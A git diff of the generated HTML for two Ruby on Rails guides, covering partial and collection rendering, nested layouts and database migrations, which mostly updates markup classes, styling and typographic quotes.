http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "product", :collection =&gt; @products, :spacer_template =&gt; "product_ruler" %&gt;
-</tt></pre></div></div>
-<div class="para"><p>Rails will render the <tt>_product_ruler</tt> partial (with no data passed in to it) between each pair of <tt>_product</tt> partials.</p></div>
-<div class="para"><p>There's also a shorthand syntax available for rendering collections. For example, if <tt>@products</tt> is a collection of products, you can render the collection this way:</p></div>
-<div class="para"><p><tt>index.html.erb</tt>:</p></div>
+<pre><tt>&lt;%= render :partial =&gt; "product", :collection =&gt; @products, :spacer_template =&gt; "product_ruler" %&gt;</tt></pre></div></div>
+<div class="paragraph"><p>Rails will render the <tt>_product_ruler</tt> partial (with no data passed in to it) between each pair of <tt>_product</tt> partials.</p></div>
+<div class="paragraph"><p>There&#8217;s also a shorthand syntax available for rendering collections. For example, if <tt>@products</tt> is a collection of products, you can render the collection this way:</p></div>
+<div class="paragraph"><p><tt>index.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Products<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= render :partial =&gt; @products %&gt;
-</tt></pre></div></div>
-<div class="para"><p><tt>_product.html.erb</tt>:</p></div>
+&lt;%= render :partial =&gt; @products %&gt;</tt></pre></div></div>
+<div class="paragraph"><p><tt>_product.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Product Name: &lt;%= product.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:</p></div>
-<div class="para"><p><tt>index.html.erb</tt>:</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Product Name: &lt;%= product.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:</p></div>
+<div class="paragraph"><p><tt>index.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Contacts<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= render :partial =&gt; [customer1, employee1, customer2, employee2] %&gt;
-</tt></pre></div></div>
-<div class="para"><p><tt>_customer.html.erb</tt>:</p></div>
+&lt;%= render :partial =&gt; [customer1, employee1, customer2, employee2] %&gt;</tt></pre></div></div>
+<div class="paragraph"><p><tt>_customer.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Name: &lt;%= customer.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p><tt>_employee.html.erb</tt>:</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Name: &lt;%= customer.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p><tt>_employee.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Name: &lt;%= employee.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Name: &lt;%= employee.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.</p></div>
+<h3 id="_using_nested_layouts">3.5. Using Nested Layouts</h3>
+<div class="paragraph"><p>You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here&#8217;s an example:</p></div>
+<div class="paragraph"><p>Suppose you have the follow ApplicationController layout:</p></div>
+<div class="paragraph"><p><tt>app/views/layouts/application.erb</tt></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;title&gt;</span></span>&lt;%= @page_title %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;title&gt;</span></span>
+ &lt;% stylesheet_tag 'layout' %&gt;
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;style</span></span> <span style="color: #009900">type</span><span style="color: #990000">=</span><span style="color: #FF0000">"text/css"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>&lt;%= yield :stylesheets %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/style&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;div</span></span> <span style="color: #009900">id</span><span style="color: #990000">=</span><span style="color: #FF0000">"top_menu"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>Top menu items here<span style="font-weight: bold"><span style="color: #0000FF">&lt;/div&gt;</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;div</span></span> <span style="color: #009900">id</span><span style="color: #990000">=</span><span style="color: #FF0000">"menu"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>Menu items here<span style="font-weight: bold"><span style="color: #0000FF">&lt;/div&gt;</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;div</span></span> <span style="color: #009900">id</span><span style="color: #990000">=</span><span style="color: #FF0000">"main"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>&lt;%= yield %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/div&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/body&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>On pages generated by NewsController, you want to hide the top menu and add a right menu:</p></div>
+<div class="paragraph"><p><tt>app/views/layouts/news.erb</tt></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;% content_for :stylesheets do %&gt;
+ #top_menu {display: none}
+ #right_menu {float: right; background-color: yellow; color: black}
+&lt;% end -%&gt;
+&lt;% content_for :main %&gt;
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;div</span></span> <span style="color: #009900">id</span><span style="color: #990000">=</span><span style="color: #FF0000">"right_menu"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>Right menu items here<span style="font-weight: bold"><span style="color: #0000FF">&lt;/div&gt;</span></span>
+ &lt;%= yield %&gt;
+ &lt;% end -%&gt;
+&lt;% render :file =&gt; 'layouts/application' %&gt;</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">In versions of Rails before Rails 2.3, you should use <tt>render 'layouts/applications'</tt> instead of <tt>render :file =&gt; 'layouts/applications\'</tt></td>
+</tr></table>
+</div>
+<div class="paragraph"><p>That&#8217;s it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.</p></div>
+<div class="paragraph"><p>There are several ways of getting similar results with differents sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the <tt>ActionView::render</tt> method via <tt>render 'layouts/news\'</tt> to base a new layout on the News layout.</p></div>
</div>
<h2 id="_changelog">4. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates
+</p>
+</li>
+<li>
+<p>
+December 27, 2008: Information on new rendering defaults by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
<li>
<p>
November 9, 2008: Added partial collection counter by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
@@ -1400,7 +1272,7 @@ September 28, 2008: First draft by <a href="../authors.html#mgunderloy">Mike Gun
</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/migrations.html b/railties/doc/guides/html/migrations.html
index 9f7fa28daf..0a8b85c77c 100644
--- a/railties/doc/guides/html/migrations.html
+++ b/railties/doc/guides/html/migrations.html
@@ -1,288 +1,120 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Migrations</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Migrations</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_anatomy_of_a_migration">Anatomy Of A Migration</a>
- <ul>
-
- <li><a href="#_migrations_are_classes">Migrations are classes</a></li>
-
- <li><a href="#_what_s_in_a_name">What's in a name</a></li>
-
- <li><a href="#_changing_migrations">Changing migrations</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_creating_a_migration">Creating A Migration</a>
- <ul>
-
- <li><a href="#_creating_a_model">Creating a model</a></li>
-
- <li><a href="#_creating_a_standalone_migration">Creating a standalone migration</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_writing_a_migration">Writing a Migration</a>
- <ul>
-
- <li><a href="#_creating_a_table">Creating a table</a></li>
-
- <li><a href="#_changing_tables">Changing tables</a></li>
-
- <li><a href="#_special_helpers">Special helpers</a></li>
-
- <li><a href="#_writing_your_down_method">Writing your down method</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_running_migrations">Running Migrations</a>
- <ul>
-
- <li><a href="#_rolling_back">Rolling back</a></li>
-
- <li><a href="#_being_specific">Being Specific</a></li>
-
- <li><a href="#_being_talkative">Being talkative</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#models">Using Models In Your Migrations</a>
- <ul>
-
- <li><a href="#_dealing_with_changing_models">Dealing with changing models</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_schema_dumping_and_you">Schema dumping and you</a>
- <ul>
-
- <li><a href="#schema">What are schema files for?</a></li>
-
- <li><a href="#_types_of_schema_dumps">Types of schema dumps</a></li>
-
- <li><a href="#_schema_dumps_and_source_control">Schema dumps and source control</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#foreign_key">Active Record and Referential Integrity</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Migrations</h1>
- <div id="preamble">
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_anatomy_of_a_migration">Anatomy Of A Migration</a>
+ <ul>
+
+ <li><a href="#_migrations_are_classes">Migrations are classes</a></li>
+
+ <li><a href="#_what_8217_s_in_a_name">What&#8217;s in a name</a></li>
+
+ <li><a href="#_changing_migrations">Changing migrations</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_creating_a_migration">Creating A Migration</a>
+ <ul>
+
+ <li><a href="#_creating_a_model">Creating a model</a></li>
+
+ <li><a href="#_creating_a_standalone_migration">Creating a standalone migration</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_writing_a_migration">Writing a Migration</a>
+ <ul>
+
+ <li><a href="#_creating_a_table">Creating a table</a></li>
+
+ <li><a href="#_changing_tables">Changing tables</a></li>
+
+ <li><a href="#_special_helpers">Special helpers</a></li>
+
+ <li><a href="#_writing_your_down_method">Writing your down method</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_running_migrations">Running Migrations</a>
+ <ul>
+
+ <li><a href="#_rolling_back">Rolling back</a></li>
+
+ <li><a href="#_being_specific">Being Specific</a></li>
+
+ <li><a href="#_being_talkative">Being talkative</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#models">Using Models In Your Migrations</a>
+ <ul>
+
+ <li><a href="#_dealing_with_changing_models">Dealing with changing models</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_schema_dumping_and_you">Schema dumping and you</a>
+ <ul>
+
+ <li><a href="#schema">What are schema files for?</a></li>
+
+ <li><a href="#_types_of_schema_dumps">Types of schema dumps</a></li>
+
+ <li><a href="#_schema_dumps_and_source_control">Schema dumps and source control</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#foreign_key">Active Record and Referential Integrity</a>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Migrations</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run <tt>rake db:migrate</tt>. Active Record will work out which migrations should be run. It will also update your db/schema.rb file to match the structure of your database.</p></div>
-<div class="para"><p>Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.</p></div>
-<div class="para"><p>You'll learn all about migrations including:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You&#8217;d also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run <tt>rake db:migrate</tt>. Active Record will work out which migrations should be run. It will also update your db/schema.rb file to match the structure of your database.</p></div>
+<div class="paragraph"><p>Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record&#8217;s functionality) it is database independent: you don&#8217;t need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.</p></div>
+<div class="paragraph"><p>You&#8217;ll learn all about migrations including:</p></div>
+<div class="ulist"><ul>
<li>
<p>
The generators you can use to create them
@@ -308,7 +140,7 @@ How they relate to <tt>schema.rb</tt>
</div>
<h2 id="_anatomy_of_a_migration">1. Anatomy Of A Migration</h2>
<div class="sectionbody">
-<div class="para"><p>Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:</p></div>
+<div class="paragraph"><p>Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -327,10 +159,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
drop_table <span style="color: #990000">:</span>products
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This migration adds a table called <tt>products</tt> with a string column called <tt>name</tt> and a text column called <tt>description</tt>. A primary key column called <tt>id</tt> will also be added, however since this is the default we do not need to ask for this. The timestamp columns <tt>created_at</tt> and <tt>updated_at</tt> which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.</p></div>
-<div class="para"><p>Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This migration adds a table called <tt>products</tt> with a string column called <tt>name</tt> and a text column called <tt>description</tt>. A primary key column called <tt>id</tt> will also be added, however since this is the default we do not need to ask for this. The timestamp columns <tt>created_at</tt> and <tt>updated_at</tt> which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.</p></div>
+<div class="paragraph"><p>Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -347,9 +178,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
remove_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>receive_newsletter
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This migration adds an <tt>receive_newsletter</tt> column to the <tt>users</tt> table. We want it to default to <tt>false</tt> for new users, but existing users are considered
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This migration adds an <tt>receive_newsletter</tt> column to the <tt>users</tt> table. We want it to default to <tt>false</tt> for new users, but existing users are considered
to have already opted in, so we use the User model to set the flag to <tt>true</tt> for existing users.</p></div>
<div class="admonitionblock">
<table><tr>
@@ -360,9 +190,9 @@ to have already opted in, so we use the User model to set the flag to <tt>true</
</tr></table>
</div>
<h3 id="_migrations_are_classes">1.1. Migrations are classes</h3>
-<div class="para"><p>A migration is a subclass of ActiveRecord::Migration that implements two class methods: <tt>up</tt> (perform the required transformations) and <tt>down</tt> (revert them).</p></div>
-<div class="para"><p>Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>A migration is a subclass of ActiveRecord::Migration that implements two class methods: <tt>up</tt> (perform the required transformations) and <tt>down</tt> (revert them).</p></div>
+<div class="paragraph"><p>Active Record provides methods that perform common data definition tasks in a database independent way (you&#8217;ll read about them in detail later):</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>create_table</tt>
@@ -409,24 +239,24 @@ to have already opted in, so we use the User model to set the flag to <tt>true</
</p>
</li>
</ul></div>
-<div class="para"><p>If you need to perform tasks specific to your database (for example create a <a href="#foreign_key">foreign key</a> constraint) then the <tt>execute</tt> function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could
+<div class="paragraph"><p>If you need to perform tasks specific to your database (for example create a <a href="#foreign_key">foreign key</a> constraint) then the <tt>execute</tt> function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you&#8217;re not limited to these functions. For example after adding a column you could
write code to set the value of that column for existing records (if necessary using your models).</p></div>
-<div class="para"><p>On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.</p></div>
-<h3 id="_what_s_in_a_name">1.2. What's in a name</h3>
-<div class="para"><p>Migrations are stored in files in <tt>db/migrate</tt>, one for each migration class. The name of the file is of the form <tt>YYYYMMDDHHMMSS_create_products.rb</tt>, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example <tt>20080906120000_create_products.rb</tt> should define CreateProducts and <tt>20080906120001_add_details_to_products.rb</tt> should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.</p></div>
-<div class="para"><p>Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting <tt>config.active_record.timestamped_migrations</tt> to <tt>false</tt> in <tt>environment.rb</tt>.</p></div>
-<div class="para"><p>The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.</p></div>
-<div class="para"><p>For example Alice adds migrations <tt>20080906120000</tt> and <tt>20080906123000</tt> and Bob adds <tt>20080906124500</tt> and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so <tt>rake db:migrate</tt> would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their down methods.</p></div>
-<div class="para"><p>Of course this is no substitution for communication within the team, for example if Alice's migration removed a table that Bob's migration assumed the existence of then trouble will still occur.</p></div>
+<div class="paragraph"><p>On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.</p></div>
+<h3 id="_what_8217_s_in_a_name">1.2. What&#8217;s in a name</h3>
+<div class="paragraph"><p>Migrations are stored in files in &#8216;db/migrate`, one for each migration class. The name of the file is of the form <tt>YYYYMMDDHHMMSS_create_products.rb</tt>, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class&#8217; name must match (the camelcased version of) the latter part of the file name. For example <tt>20080906120000_create_products.rb</tt> should define CreateProducts and <tt>20080906120001_add_details_to_products.rb</tt> should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.</p></div>
+<div class="paragraph"><p>Internally Rails only uses the migration&#8217;s number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting <tt>config.active_record.timestamped_migrations</tt> to <tt>false</tt> in <tt>environment.rb</tt>.</p></div>
+<div class="paragraph"><p>The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.</p></div>
+<div class="paragraph"><p>For example Alice adds migrations <tt>20080906120000</tt> and <tt>20080906123000</tt> and Bob adds <tt>20080906124500</tt> and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice&#8217;s two migrations so <tt>rake db:migrate</tt> would run them (even though Bob&#8217;s migration with a later timestamp has been run), and similarly migrating down would not run their down methods.</p></div>
+<div class="paragraph"><p>Of course this is no substitution for communication within the team, for example if Alice&#8217;s migration removed a table that Bob&#8217;s migration assumed the existence of then trouble will still occur.</p></div>
<h3 id="_changing_migrations">1.3. Changing migrations</h3>
-<div class="para"><p>Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run <tt>rake db:migrate</tt>. You must rollback the migration (for example with <tt>rake db:rollback</tt>), edit your migration and then run <tt>rake db:migrate</tt> to run the corrected version.</p></div>
-<div class="para"><p>In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.</p></div>
